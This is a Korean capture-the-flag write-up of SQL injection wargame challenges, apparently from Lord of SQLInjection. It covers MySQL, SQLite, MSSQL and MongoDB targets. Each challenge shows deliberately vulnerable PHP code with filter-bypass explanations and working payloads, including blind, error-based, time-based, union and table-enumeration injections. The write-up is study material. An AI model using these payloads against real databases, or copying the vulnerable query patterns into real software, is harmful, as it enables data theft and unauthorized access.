<?php include"./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo"<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); highlight_file(__FILE__); ?>
테이블에 계정이 여러개 존재하는 상황에서 admin의 비밀번호를 알아내는 문제입니다. 조건식에 쓰이는 and, or이 필터링 되었지만 mysql 에서 and, or는 각각 &&, || 으로 대체 가능합니다. 바꿔 사용하고, like 문을 사용하여 브루트포싱 해보면 답을 알아낼 수 있습니다.
대소문자 구분없이 admin 문자열을 삭제하고 있습니다. 하지만 정규식 변환이 아닌 단순 치환이므로 adadminmin등의 문장을 삽입하여 우회할 수 있습니다. 이런 코드는 종종 보안 취약점을 발생시키는데, 제거되는 문장을 알고 있다면 chrome auditor, waf 등을 쉽게 우회할 수 있도록 해주는 마법의 단어가 되기도 합니다.
1
Solution : id=adadminmin
10. skeleton
1 2 3 4 5 6 7 8 9 10 11
<?php include"./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("skeleton"); highlight_file(__FILE__); ?>
화이트 스페이스 문제입니다. mysql에서는 구분자로서 %09, %0a, %0b, %0c, %0d, %2b 를 사용할 수 있는데 %2b는 문맥에 의존적이므로 이 문제에서는 사용이 불가하네요. 따라서 %0b, %0c 가 문제의 답입니다.
1
Solution : shit=%0c
15. assassin
1 2 3 4 5 6 7 8 9 10 11 12
<?php include"./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo"<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("assassin"); highlight_file(__FILE__); ?>
놀랍게도 패스워드 검증에 like 문이 사용되었습니다. like문에서 %는 정규식의 .* 와 동일한 역할을 합니다. 따라서 % 앞에 한글자씩 브루트포싱 해보면 금새 답을 알 수 있습니다. guest 와 admin 계정의 패스워드 앞 부분이 일치하니 guest 계정만 나온다고 좌절하지 말고 응답 하나하나 주의깊게 확인합시다.
addslashes 함수는 특수문자의 앞에 (backslash) 를 삽입하여 SQL 문에서 구문으로서의 쿼트 삽입을 방지하는데 strrev 함수는 백슬래시를 고려하지 않습니다. 따라서 id 파라미터에 더블쿼트 등의 addslashes 의 영향을 받는 문자(싱글쿼트를 제외한)를 입력하여 주면 id 파라미터의 쿼트가 백슬래시의 영향을 받아 일반문자열로 취급됩니다. 이후 pw 파라미터에서 항상 참이 나오도록 하고 뒷부분을 주석으로 만들어주면 해결됩니다.
<?php include"./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo"<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); highlight_file(__FILE__); ?>
like 연산자는 필터링 되었지만, instr 함수를 사용하면 패스워드를 브루트포싱 할 수 있습니다.
1
Solution : pw='||id="admin" and instr(pw,"BRUTE_HERE")#
20. dragon
1 2 3 4 5 6 7 8 9 10 11 12
<?php include"./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo"<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("dragon"); highlight_file(__FILE__); ?>
id 조건식 뒷 부분이 주석처리 되어 있는데 개행문자를 삽입하면 주석에서 탈출할 수 있습니다.
1
Solution : pw=%0a && 0||id="admin"#
21. iron_golem
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<?php include"./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(mysqli_error($db)) exit(mysqli_error($db)); echo"<hr>query : <strong>{$query}</strong><hr><br>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem"); highlight_file(__FILE__); ?>
오류코드을 출력해 주는 Error based 문제입니다. updatexml 을 시도해 보았지만 pw 컬럼의 값이 utf32 자료형으로 되어있어 바로 확인 할 수는 없었습니다. 하지만 if 을 이용해 런타임에서 오류를 발생시키는 3e200 * 3e200 연산식을 삽입하면 blind injection 이 가능합니다.
<?php include"./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(mysqli_error($db)) exit(); echo"<hr>query : <strong>{$query}</strong><hr><br>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes"); highlight_file(__FILE__); ?>
이전 문제와 비슷하지만, if, case, when 등이 필터링 되므로 if문이 아닌 다른 방법을 사용해야만 합니다. exp 함수에 710 이상의 인자를 주면 double value out of range 오류가 발생한다는 것을 이용하여 exp(710*(조건식)) 의 형태로 Error based blind injection을 시도할 수 있습니다.
<?php include"./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~"); if(strlen($_GET['id']) > 7) exit("too long string"); $no = is_numeric($_GET['no']) ? $_GET['no'] : 1; $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo"<h2>Hello {$result['id']}</h2>";
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again. $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['no'] === $_GET['no']) solve("red_dragon"); highlight_file(__FILE__); ?>
본 문항은 본래 비교연산자와 no 부분에 16진수 인코딩된 문자열을 삽입하여 pw 컬럼을 알아내는 문제였는데 php 버전을 업데이트 하면서 is_numeric 함수가 hex값에 대해 false를 반환하도록 변경되어 no값을 알아내는 문제로 변경되었습니다.
php의 is_numeric 함수는 숫자의 앞 부분에 %09, %20, %0a, %0b, %0c, %0d 가 오는 것을 허용합니다. 따라서 id 파라미터에 끝에 #을 삽입하여 뒷 부분을 주석처리해 주고 no 파라미터의 앞 부분에 개행문자를 삽입해 주면 비교식을 통해 no값을 알아낼 수 있습니다.
Solution : pw=' union select replace(replace('" union select replace(replace("$",char(34),char(39)),char(36),"$") #',char(34),char(39)),char(36),'" union select replace(replace("$",char(34),char(39)),char(36),"$") #') #
mysql 에서 실행중인 쿼리는 information_schema의 processlist 에 기록됩니다. 이를 활용하여 다른 사용자들이 실행시킨 쿼리 문을 알아내는 mitm sql injection이라는 기법도 존재하는데, 그 주제로 정도원님이 발표하신 자료가 있어 링크로 걸어 두겠습니다.
<?php include"./config.php"; login_chk(); $db = sqlite_open("./db/chupacabra.db"); $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['id'] == "admin") solve("chupacabra"); highlight_file(__FILE__); ?>
sqlite 인젝션 문제입니다. 쿼리 문법에 있어서는 mysql 과 유사한 점이 많지만 sqlite에서는 #을 주석용법으로 사용하지 않는다는 점만은 기억해둡시다.
1
Solution : id=1&pw='union select"admin"--
38. manticore
1 2 3 4 5 6 7 8 9 10 11 12
<?php include"./config.php"; login_chk(); $db = sqlite_open("./db/manticore.db"); $_GET['id'] = addslashes($_GET['id']); $_GET['pw'] = addslashes($_GET['pw']); $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['id'] == "admin") solve("manticore"); highlight_file(__FILE__); ?>
실제 데이터가 없으므로 union 구문을 이용해야 합니다. addslashes 함수의 영향으로 싱글쿼트 앞에 백슬래시가 붙지만 sqlite 에서는 mysql 과 다르게 쿼트 앞에 백슬래시가 붙어도 구문으로서 해석합니다. char 함수를 통해 문자를 만들고 ||으로 결합해서 사용하면 되겠습니다.
1
Solution : id=&pw=' and 0 union select (char(0x61)||char(0x64)||char(0x6d)||char(0x69)||char(0x6e))--
39. banshee
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php include"./config.php"; login_chk(); $db = sqlite_open("./db/banshee.db"); if(preg_match('/sqlite|member|_/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from member where id='admin' and pw='{$_GET[pw]}'"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['id']) echo"<h2>login success!</h2>";
$query = "select pw from member where id='admin'"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['pw'] === $_GET['pw']) solve("banshee"); highlight_file(__FILE__); ?>
sqlite에서는 mysql과 다르게 &&, ||을 사용할 수 없다는 점만 알고 넘어갑시다.
1
Solution : pw=' or id="admin" and pw like '<BRUTE_HERE>%'--
40. poltergeist
1 2 3 4 5 6 7 8 9 10 11 12
<?php include"./config.php"; login_chk(); $db = sqlite_open("./db/poltergeist.db"); $query = "select id from member where id='admin' and pw='{$_GET[pw]}'"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlite_fetch_array(sqlite_query($db,$query)); if($result['id']) echo"<h2>Hello {$result['id']}</h2>";
if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database. highlight_file(__FILE__); ?>
sqlite에서는 select tbl_name from sqlite_master 쿼리를 통해 모든 테이블명을 조회할 수 있습니다.
1 2 3
// Solution 1. pw=' union select group_concat(tbl_name) from sqlite_master-- 2. pw=' union select * from flag_1q2w3e4r--
41. nessie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php include"./config.php"; login_chk(); $db = mssql_connect(); if(preg_match('/master|sys|information|prob|;|watifor/i', $_GET['id'])) exit("No Hack ~_~"); if(preg_match('/master|sys|information|prob|;|waitfor/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select id from prob_nessie where id='{$_GET['id']}' and pw='{$_GET['pw']}'"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; sqlsrv_query($db,$query); if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));
$query = "select pw from prob_nessie where id='admin'"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result['pw'] === $_GET['pw']) solve("nessie"); highlight_file(__FILE__); ?>
mssql error based sql injection 문제입니다. mssql에서는 문자열 값과 int를 비교하도록 하면 그 과정에서 문자열을 int로 변환하도록 시도하는데 에러메시지에 해당값이 그대로 노출됩니다.
1 2 3
// Solution 1. id=admin&pw=' or id='admin' and pw=1-- 2. pw=' union select * from flag_1q2w3e4r--+-
$query = "select * from prob_revenant where id='admin'"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column highlight_file(__FILE__); ?>
mysql 에서는 존재하지 않는 함수인데 mssql에서는 col_name 함수를 사용하면 db명을 인자로 받아 컬럼명을 조회할 수 있습니다.
1 2 3 4
// Solution 1. id='order by 5--&pw=1 2. id=admin&pw=' or id='admin' and col_name(Object_id('pro'+'b_revenant'),4)=1--+- 3. id=admin&pw=' or id='admin' and convert(int,"1q2w3e4r")=1-- -
43. yeti
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php include"./config.php"; login_chk(); $db = mssql_connect("yeti"); if(preg_match('/master|sys|information|;/i', $_GET['id'])) exit("No Hack ~_~"); if(preg_match('/master|sys|information|;/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; sqlsrv_query($db,$query);
$query = "select pw from prob_yeti where id='admin'"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result['pw'] === $_GET['pw']) solve("yeti"); highlight_file(__FILE__); ?>
결과값이 나오지 않으며, 오류 표시도 되지 않으므로 Time based blind injection을 사용하여 문제를 해결해야 합니다.
1
Solution : id=admin&pw=' if((select pw from prob_yeti where id='admin')like'%') waitfor delay '0:0:1'-- -
44. mummy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php include"./config.php"; login_chk(); $db = mssql_connect("mummy"); if(preg_match('/master|sys|information|;|\(|\//i', $_GET['query'])) exit("No Hack ~_~"); for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql"); $query = "select".$_GET['query']; echo"<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result[0]) echo"<h2>Hello anonymous</h2>";
$query = "select pw from prob_mummy where id='admin'"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result['pw'] === $_GET['pw']) solve("mummy"); highlight_file(__FILE__); ?>
mssql에서는 컬럼명을 더블 쿼트로 포장할 수 있습니다. 그러면 공백을 사용하지 않고 쿼리문을 작성할 수 있죠.
<?php include"./config.php"; login_chk(); $db = mssql_connect("kraken"); if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~"); if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~"); $query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'"; echo"<hr>query : <strong>{$query}</strong><hr><br>"; $result = sqlsrv_fetch_array(sqlsrv_query($db,$query)); if($result['id']) echo"<h2>{$result['id']}</h2>";
if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database. highlight_file(__FILE__); ?>
mssql에서는 dbname..sysobjects 구문을 통해 테이블 명을 조회할 수 있습니다.
1 2 3
// Solution 1. pw=' union select name from kraken..sysobjects where xtype='U' and name like 'flag%'-- 2. pw=' union select * from flag_ccdfe62b--
MongoDB Injection의 문제입니다. arg[$ne]=와 같은 형식으로 파라미터를 전달하면 서버에서는 JSON으로 {“arg”{“$ne”, “”}} 와 같이 해석하는데 이는 NoSQL의 비교구문이 되므로 arg값이 비어있지 않을 경우 쿼리는 항상 true를 리턴하게 됩니다.
이전 문제와 비슷하지만 실제 pw를 도출하는 것 까지가 목표입니다. arg[$regex]=.* 와 같이 입력해주면 서버측에서는 JSON으로 {“arg”:{“$regex”, “.*”}} 와 같이 해석하는데 MongoDB 문법으로 정규식 비교문이 됩니다. 이를 이용해 한글자씩 대입해 보면 답을 알아낼 수 있습니다.